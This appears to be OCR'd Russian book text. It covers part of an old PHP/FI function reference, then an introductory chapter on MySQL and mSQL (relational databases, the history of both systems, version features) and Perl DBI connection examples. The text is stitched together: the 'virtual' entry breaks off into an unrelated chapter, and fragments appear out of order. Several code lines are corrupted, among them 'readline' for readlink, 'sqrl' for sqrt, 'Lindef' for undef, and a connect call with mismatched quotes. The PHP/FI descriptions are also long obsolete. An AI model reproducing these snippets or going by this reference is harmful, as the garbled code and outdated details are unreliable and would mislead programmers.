    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

